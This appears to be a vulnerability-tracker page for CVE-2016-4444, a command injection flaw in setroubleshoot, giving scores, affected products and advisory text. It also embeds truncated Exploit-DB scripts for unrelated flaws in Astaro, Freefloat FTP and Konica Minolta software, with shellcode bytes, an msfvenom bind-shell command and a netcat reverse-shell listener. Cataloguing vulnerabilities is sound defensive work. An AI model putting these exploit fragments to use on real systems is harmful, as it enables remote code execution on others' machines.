CVE-2016-4444
published 2017-04-11CVE-2016-4444: The allow_execmod plugin for setroubleshoot before 3.2.23 allows local users to execute arbitrary commands by triggering an execmod SELinux denial with a…
PriorityP335high7CVSS 3.0
AVLACHPRLUINSUCHIHAH
EPSS
0.47%
37.8th percentile
The allow_execmod plugin for setroubleshoot before 3.2.23 allows local users to execute arbitrary commands by triggering an execmod SELinux denial with a crafted binary filename, related to the commands.getstatusoutput function.
Affected
5 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| redhat | enterprise_linux_desktop | — | — |
| redhat | enterprise_linux_hpc_node | — | — |
| redhat | enterprise_linux_server | — | — |
| redhat | enterprise_linux_workstation | — | — |
| setroubleshoot_project | setroubleshoot | <= 3.2.22 | — |
CVSS provenance
nvdv3.07.0HIGHCVSS:3.0/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
nvdv2.06.9MEDIUMAV:L/AC:M/Au:N/C:C/I:C/A:C
vendor_redhat7.0HIGH
Stop checking back — get the weekly exploitation signal.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
Red Hat
setroubleshoot-plugins: insecure commands.getstatusoutput use in the allow_execmod plugin
vendor_redhat·2016-06-21·CVSS 7.0
CVE-2016-4444 [HIGH] CWE-77 setroubleshoot-plugins: insecure commands.getstatusoutput use in the allow_execmod plugin
setroubleshoot-plugins: insecure commands.getstatusoutput use in the allow_execmod plugin
The allow_execmod plugin for setroubleshoot before 3.2.23 allows local users to execute arbitrary commands by triggering an execmod SELinux denial with a crafted binary filename, related to the commands.getstatusoutput function.
A shell command injection flaw was found in the way the setroubleshoot allow_execmod plugin executed external commands. A local attacker able to trigger an execmod SELinux denial could use this flaw to execute arbitrary code with root privileges.
Package: setroubleshoot-plugins (Red Hat Enterprise Linux 5) - Not affected
GHSA
GHSA-wf5j-pjjj-c33c: The allow_execmod plugin for setroubleshoot before 3
ghsa_unreviewed·2022-05-17
CVE-2016-4444 [HIGH] CWE-77 GHSA-wf5j-pjjj-c33c: The allow_execmod plugin for setroubleshoot before 3
The allow_execmod plugin for setroubleshoot before 3.2.23 allows local users to execute arbitrary commands by triggering an execmod SELinux denial with a crafted binary filename, related to the commands.getstatusoutput function.
No detection rules found.
Exploit-DB
Astaro Security Gateway 7 - Remote Code Execution
exploitdb·2017-09-13·CVSS 9.8
CVE-2017-6315 [CRITICAL] Astaro Security Gateway 7 - Remote Code Execution
Astaro Security Gateway 7 - Remote Code Execution
---
#!/usr/bin/python
# Astaro Security Gateway v7 - Unauthenticated Remote Code Execution
# Exploit Authors: Jakub Palaczynski and Maciej Grabiec
# Tested on versions: 7.500 and 7.506
# Date: 13.12.2016
# Vendor Homepage: https://www.sophos.com/
# CVE: CVE-2017-6315
import socket
import sys
import os
import threading
import subprocess
import time
# print help or assign arguments
if len(sys.argv) != 3:
sys.stderr.write("[-]Usage: python %s \n" % sys.argv[0])
sys.stderr.write("[-]Exemple: python %s 192.168.1.1 192.168.1.2:4444\n" % sys.argv[0])
sys.exit(1)
lhost = sys.argv[1] # our ip address
rhost = sys.argv[2] # ip address and port of vulnerable ASG v7
# for additional thread to send requests in parallel
class requests (threading.Th
Exploit-DB
Freefloat FTP Server 1.0 - 'SITE ZONE' Remote Buffer Overflow
exploitdb·2016-11-04
Freefloat FTP Server 1.0 - 'SITE ZONE' Remote Buffer Overflow
Freefloat FTP Server 1.0 - 'SITE ZONE' Remote Buffer Overflow
---
#!/usr/bin/env python
#-*- coding: utf-8 -*-
# Exploit Title: FreeFloat FTP Server BoF SITE ZONE Command
# Date: 04/11/2016
# Exploit Author: Luis Noriega
# Software Link: http://www.freefloat.com/software/freefloatftpserver.zip
# Version: 1.0
# Tested on: Windows XP Profesional V. 5.1 Service Pack 3
# CVE : n/a
import socket
# shellcode with metasploit:
# msfvenom -p windows/shell_bind_tcp -b '\x00\x0A\x0D' -f c
# nc 192.168.1.150 4444
ret = "\x2F\x1D\xF1\x77" # GDI32.dll
shellcode = ("\xb8\x78\xa3\x16\x0c\xdd\xc2\xd9\x74\x24\xf4\x5b\x31\xc9\xb1"
"\x53\x31\x43\x12\x83\xeb\xfc\x03\x3b\xad\xf4\xf9\x47\x59\x7a"
"\x01\xb7\x9a\x1b\x8b\x52\xab\x1b\xef\x17\x9c\xab\x7b\x75\x11"
"\x47\x29\x6d\xa2\x25\xe6\x82\x03\x83\xd0\xad\x
Exploit-DB
Konica Minolta FTP Utility 1.00 - CWD Command Overflow (SEH)
exploitdb·2016-01-11
CVE-2015-7768 Konica Minolta FTP Utility 1.00 - CWD Command Overflow (SEH)
Konica Minolta FTP Utility 1.00 - CWD Command Overflow (SEH)
---
# Title: Konica Minolta FTP Utility 1.00 Post Auth CWD Command SEH Overflow.
# Date : 01/08/2016
# Author: TOMIWA.
# Software link: http://download.konicaminolta.hk/bt/driver/mfpu/ftpu/ftpu_10.zip
# Software: Konica Minolta FTP Utility v1.0
# Tested: Windows 7 SP1 64bits
# Listen for a reverse netcat connection on port 4444
# root@kali:~# nc -nlvp 4444
# listening on [any] 4444 ...
# connect to [192.168.0.11] from (UNKNOWN) [192.168.0.109] 49158
# Microsoft Windows [Version 6.1.7601]
# Copyright (c) 2009 Microsoft Corporation. All rights reserved.
# C:\Program Files (x86)\KONICA MINOLTA\FTP Utility>
#!/usr/bin/python
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
#buffer = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7A
http://seclists.org/oss-sec/2016/q2/575http://www.securityfocus.com/bid/91476http://www.securitytracker.com/id/1036144https://access.redhat.com/errata/RHSA-2016:1293https://bugzilla.redhat.com/show_bug.cgi?id=1332644https://github.com/fedora-selinux/setroubleshoot/commit/5cd60033ea7f5bdf8c19c27b23ea2d773d9b09f5https://rhn.redhat.com/errata/RHSA-2016-1267.htmlhttp://seclists.org/oss-sec/2016/q2/575http://www.securityfocus.com/bid/91476http://www.securitytracker.com/id/1036144https://access.redhat.com/errata/RHSA-2016:1293https://bugzilla.redhat.com/show_bug.cgi?id=1332644https://github.com/fedora-selinux/setroubleshoot/commit/5cd60033ea7f5bdf8c19c27b23ea2d773d9b09f5https://rhn.redhat.com/errata/RHSA-2016-1267.html
2017-04-11
Published